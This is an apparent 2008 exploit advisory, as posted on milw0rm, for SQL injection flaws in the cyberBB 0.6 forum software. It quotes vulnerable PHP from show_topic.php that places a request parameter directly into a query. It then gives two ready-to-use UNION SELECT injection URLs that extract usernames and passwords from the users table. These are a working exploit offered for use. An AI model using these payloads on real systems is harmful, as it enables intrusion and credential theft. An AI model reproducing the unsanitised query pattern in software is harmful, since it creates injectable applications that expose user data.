########################################################################################
#
# Name : cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities
# Author : cOndemned [ Dark-Coders ]
# Greetz : Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more...
# Conditions : Magic quotes gpc = On & Off / User must be logged into
#
########################################################################################
source of /show_topic.php :
21. $id=$_REQUEST['id'];
22.
23. if(isset($_REQUEST['p'])) $p=$_REQUEST['p']; else $p='';
24.
25. $db = mysql_connect($mysql_server,$mysql_user,$mysql_pass);
26.
27. mysql_select_db($mysql_db);
28.
29. $sql = "SELECT * FROM `topics` WHERE `id` = $id";
proof of concept :
/show_topic.php?id=-1+UNION+SELECT+1,2,3,4,concat(username,0x3a,password),6,7+FROM+users/*
second sql injection (magic quotes gpc must be off):
/profile.php?user='-1+UNION+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11+FROM+users/*
just 4 fun
# milw0rm.com [2008-08-18]
